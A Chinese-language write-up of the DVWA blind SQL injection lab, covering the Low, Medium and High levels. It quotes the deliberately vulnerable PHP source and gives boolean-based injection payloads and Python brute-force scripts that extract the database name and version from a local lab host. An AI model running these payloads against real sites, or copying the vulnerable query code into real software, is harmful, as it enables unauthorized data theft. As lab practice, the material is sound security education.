DVWA SQL BLiND

前置知识：

        1.通过and来判断payload是否正确

        2.length()：返回字符串长度

        3.(23条消息) sql: substr函数用法_MaggieChenn的博客-优快云博客_sql substr函数 从右往左

        4.ASCII() 函数返回特定字符的 ASCII 值 

LOW：

        writeup：

        查看源码，发现只返回exist和missing

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

        尝试1' and length(database())=4#判断库长度，成功

         尝试1' and ascii(substr(database(),1,1))>31#，正确

        尝试1' and ascii(substr(database(),1,1))<126#，正确

        尝试1' and ascii(substr(database(),1,1))>78#，正确

        尝试1' and ascii(substr(database(),1,1))<102#，正确

        尝试1' and ascii(substr(database(),1,1))>90#，正确

        尝试1' and ascii(substr(database(),1,1))>96#，正确

        尝试1' and ascii(substr(database(),1,1))>99#，正确

        尝试1' and ascii(substr(database(),1,1))>101#，错误

        尝试1' and ascii(substr(database(),1,1))=100#，正确，得出第一个字母为d

        尝试用脚本来获取库名

import requests

url="http://192.168.3.52/vulnerabilities/sqli_blind"
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70"}
cookies={"security":"low","PHPSESSID":"594uitfe60ga46vmoop7la4dj7"}
flag='User ID exists in the database'
for i in range(1,5):
	for c in range(65,122):
		payload="1' and ascii(substr(database(),"+str(i)+",1))="+str(c)+"#"
		param={
		"id":payload,
		"Submit":"Submit",
		}
		response = requests.get(url, params = param, headers = headers, cookies = cookies)
		if response.text.find(flag)!=-1:
			print(chr(c),end="")

        同理可以获得数据库版本

Medium：

        writeup：

        查看源码，发现是整型闭合

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

        这里采用抓包爆破，方法同LOW级别，爆破应选pitchfork，payload1，2同脚本的穷举一样。爆破结果确实为23个字符，解码后结果为：5.5.47-0ubuntu0.14.04.1

 

 

 High：

        同上测试后发现是单引号闭合，且cookies相比low有变化

        尝试脚本，成功

import requests

url="http://192.168.3.52/vulnerabilities/sqli_blind"
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78"}
flag="User ID exists in the database"
for i in range(1,24):
	for c in range(33,126):
		cookies={"security":"high","PHPSESSID":"2d0bkdkrqt9u5uk7b3tks70mo0","id":"1'+and+ascii(substr(version(),"+str(i)+",1))="+str(c)+"#"}
		payload="1' and ascii(substr(version(),"+str(i)+",1))="+str(c)+"#"
		param={
		"id":payload,
		"Submit":"Submit",
		}
		response = requests.get(url, params = param, headers = headers, cookies = cookies)
		if response.text.find(flag)!=-1:
			print(chr(c))
			break

         最后查看源码，发现错误的尝试会使代码执行时间变长，出现404，这也难怪等结果的时间很久

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>